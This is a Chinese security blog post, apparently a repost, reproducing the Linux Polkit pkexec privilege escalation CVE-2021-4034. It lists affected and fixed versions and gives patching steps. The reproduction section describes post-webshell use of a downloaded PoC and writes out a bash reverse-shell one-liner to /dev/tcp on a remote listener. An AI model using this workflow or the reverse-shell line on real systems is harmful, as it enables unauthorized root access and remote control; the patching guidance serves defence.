CVE-2021-4034 Linux Polkit本地提权漏洞

admin 2022年5月18日09:21:43评论10 views字数 3543阅读11分48秒阅读模式
CVE-2021-4034 Linux Polkit本地提权漏洞

点击上方“蓝字”,关注更多精彩

0x00 前言

年前1月25号左右一个刚爆出来的漏洞,惊呆了众人——能够通杀目前市场上大多数Linux操作系统。这就是大名鼎鼎的CVE-2021-4034pkexec提权漏洞。下面是官方通告:

https://ubuntu.com/security/CVE-2021-4034

0x01 漏洞描述

Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。

CVE-2021-4034

polkit 的 pkexec 存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。

0x02 影响范围

影响版本:由于 polkit 为系统预装工具,目前主流Linux版本均受影响。

修复版本:

 CentOS系列:
 CentOS 6:polkit-0.96-11.el6_10.2
 CentOS 7:polkit-0.112-26.el7_9.1
 CentOS 8.0:polkit-0.115-13.el8_5.1
 CentOS 8.2:polkit-0.115-11.el8_2.2
 CentOS 8.4:polkit-0.115-11.el8_4.2
 
 Ubuntu系列:
 Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
 Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
 Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
 Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

0x03 漏洞原理

原理嘛,暂时先放放,实在是太难了,毕竟12年没挖掘出来的漏洞,突然爆出来让我来解释原理,我肯定一脸蒙蔽啊。

0x04 漏洞复现

因为是提权性质的漏洞,所以基本上就是先拿到了webshell,然后再上传POC进行提权的。网上有好多人直接将POC下载到系统中,然后直接在终端编译后运行二进制文件,直接提权,这谁不会啊!但是实战的时候你渗透就这么用??肯定不符合常理。下面按照实战来演示一下。

Centos7

CVE-2021-4034 Linux Polkit本地提权漏洞

1、蚁剑链接Centos7

2、下载POC并且上传POC https://github.com/sukusec301/Linux-pkexec_2021-4034-EXP,使用这个就行

CVE-2021-4034 Linux Polkit本地提权漏洞

3、上传完毕后解压缩

CVE-2021-4034 Linux Polkit本地提权漏洞

4、编译

 gcc CVE-2021-40340main.c -o exp
 chmod +x exp

5、直接运行,发现不成功

CVE-2021-4034 Linux Polkit本地提权漏洞

6、反弹shell到kali上再重新运行,成功

CVE-2021-4034 Linux Polkit本地提权漏洞

ubuntu18.04 / kali

ubuntu的操作方式与kali一样,这里就示范一下KALI的

CVE-2021-4034 Linux Polkit本地提权漏洞

1、通过蚁剑先链接webshell

CVE-2021-4034 Linux Polkit本地提权漏洞

2、因为这里网站根目录无法上传文件,切到/tmp下上传文件即可,将POC解压缩

CVE-2021-4034 Linux Polkit本地提权漏洞

3、随后直接编译并执行文件,执行失败

 gcc cve-2021-4034-poc.c -o exp

CVE-2021-4034 Linux Polkit本地提权漏洞

4、准备进行反弹shell:因为kali是一个ubuntu系统,所以先创建一个1.sh文件,然后在里面写上反弹shell的一句话。随后在windows上nc监听,kali上执行命令。可以看到成功反弹shell

 1.sh
 bash -c 'exec bash -i &>/dev/tcp/192.168.91.1/6666 <&1'
 bash 1.sh

CVE-2021-4034 Linux Polkit本地提权漏洞

5、这时候在windows这个终端上面使用刚刚编译好的exp./exp,成功。

CVE-2021-4034 Linux Polkit本地提权漏洞

0x05 漏洞修复

具体详细操作步骤详细见这个网站:https://blog.51cto.com/56281688/4974950

目前各Linux发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu及Debian用户可参考以下链接:

https://ubuntu.com/security/CVE-2021-4034

https://access.redhat.com/security/cve/CVE-2021-4034

https://security-tracker.debian.org/tracker/CVE-2021-4034

截止到目前2022/01/27, CentOS目前已提供安全更新包

漏洞彻底修复方法之在线升级

1、切换到root,直接执行下面这些命令

 yum clean all && yum makecache
 yum update polkit -y

CVE-2021-4034 Linux Polkit本地提权漏洞

2、再次执行exp,就会发现,无效

CVE-2021-4034 Linux Polkit本地提权漏洞

漏洞彻底修复方法之离线升级

下载rpm包。下载地址:http://mirror.centos.org/centos/7/updates/x86_64/Packages/(需挂代理,Ctrl+F搜索)

CVE-2021-4034 Linux Polkit本地提权漏洞

 wget http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm
 rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
 rpm -aq | grep polkit   #查看Polkit是否为安全版本
 ./cve-2021-4034-poc     #验证漏洞poc
 
 [root@node03 src]# ls
 cve-2021-4034-poc polkit-0.112-26.el7_9.1.x86_64.rpm sysinit.sh
 [root@node03 src]# rpm -aq | grep polkit
 polkit-pkla-compat-0.1-4.el7.x86_64
 polkit-0.112-18.el7.x86_64
 [root@node03 src]# rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
 Preparing...                          ################################# [100%]
 Updating / installing...
    1:polkit-0.112-26.el7_9.1          ################################# [ 50%]
 Cleaning up / removing...
    2:polkit-0.112-18.el7              ################################# [100%]
 [root@node03 src]# rpm -aq | grep polkit
 polkit-pkla-compat-0.1-4.el7.x86_64
 polkit-0.112-26.el7_9.1.x86_64
 [root@node03 src]# su - lianglab
 Last login: Thu Jan 27 17:50:22 CST 2022 on pts/0
 [lianglab@node03 <sub>]$ ls
 [lianglab@node03 </sub>]$ cd /tmp/
 [lianglab@node03 tmp]$ ./cve-2021-4034-poc
 pkexec --version |
        --help |
        --disable-internal-agent |
        [--user username] PROGRAM [ARGUMENTS...]
 
 See the pkexec manual page for more details.
 
 Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
 polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
 [lianglab@node03 tmp]$

CVE-2021-4034 Linux Polkit本地提权漏洞

往期推荐

Clash RCE漏洞复现与高级利用(配合社工)

红队攻击01——网络钓鱼技术

红队建设 |  02 流量加密

虚拟化架构与Centos7系统部署

内网渗透 | 内网隐藏技术之我见

CVE-2021-31760 Webmin CSRF致使RCE

郑重声明该公众号大部分文章来自作者日常学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-4034 Linux Polkit本地提权漏洞
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):CVE-2021-4034 Linux Polkit本地提权漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月18日09:21:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-4034 Linux Polkit本地提权漏洞https://cn-sec.com/archives/1016379.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息